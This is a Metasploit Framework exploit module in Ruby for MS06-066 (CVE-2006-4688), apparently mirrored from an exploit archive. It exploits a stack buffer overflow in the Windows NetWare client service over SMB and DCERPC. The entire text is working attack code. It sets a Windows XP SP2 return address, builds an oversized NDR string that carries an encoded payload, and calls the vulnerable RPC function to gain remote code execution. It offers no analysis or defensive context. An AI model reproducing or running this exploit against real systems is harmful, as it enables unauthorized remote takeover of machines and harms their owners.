Microsoft Services – ‘nwwks.dll’ (MS06-066) (Metasploit)
## # $Id: ms06_066_nwwks.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Services MS06-066 nwwks.dll', 'Description' => %q{ This module exploits a stack buffer overflow in the svchost service, when the netware client service is running. This specific vulnerability is in the nwapi32.dll module. }, 'Author' => [ 'pusscat' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9262 $', 'References' => [ [ 'CVE', '2006-4688'], [ 'OSVDB', '30260'], [ 'BID', '21023'], [ 'MSB', 'MS06-066'], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Privileged' => true, 'Payload' => { 'Space' => 1000, 'BadChars' => "", 'Compat' => { # -ws2ord XXX? }, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP2', { 'Ret' => 0x616566fb, # modemui.dll [esp + 16]: popaw, ret }, ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 14 2006')) register_options( [ OptString.new('SMBPIPE', [ true, "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'nwwks']), ], self.class) end def exploit # [in] [unique] wchar * # [in] [unique] wchar * # [out] long ofstring = Rex::Text.to_unicode('\\\\') + rand_text(292) + [ target.ret ].pack('V') + "\x00\x00" stubdata = NDR.long(rand(0xffffffff)) + NDR.UnicodeConformantVaryingString(rand_text(rand(128)) + "\x00") + NDR.long(rand(0xffffffff)) + NDR.UnicodeConformantVaryingStringPreBuilt(payload.encoded + "\x00\x00") + NDR.long(rand(0xffffffff)) + NDR.UnicodeConformantVaryingString(rand_text(rand(128)) + "\x00") + NDR.long(rand(0xffffffff)) + NDR.UnicodeConformantVaryingString(rand_text(rand(128)) + "\x00") + NDR.UnicodeConformantVaryingStringPreBuilt(ofstring) print_status("Connecting to the SMB service...") connect() smb_login() handle = dcerpc_handle('e67ab081-9844-3521-9d32-834f038001c0', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"]) print_status("Binding to #{handle} ...") dcerpc_bind(handle) print_status("Bound to #{handle} ...") print_status("Calling the vulnerable function...") begin dcerpc.call(0x01, stubdata) rescue Rex::Proto::DCERPC::Exceptions::NoResponse print_status('Server did not respond, this is expected') rescue => e if e.to_s =~ /STATUS_PIPE_DISCONNECTED/ print_status('Server disconnected, this is expected') else raise e end else print_status("Got #{dcerpc.last_response.stub_data.length} bytes: #{dcerpc.last_response.stub_data}") end # Cleanup handler disconnect if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil and dcerpc.last_response.stub_data == "\x04\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00") return true else return false end end end |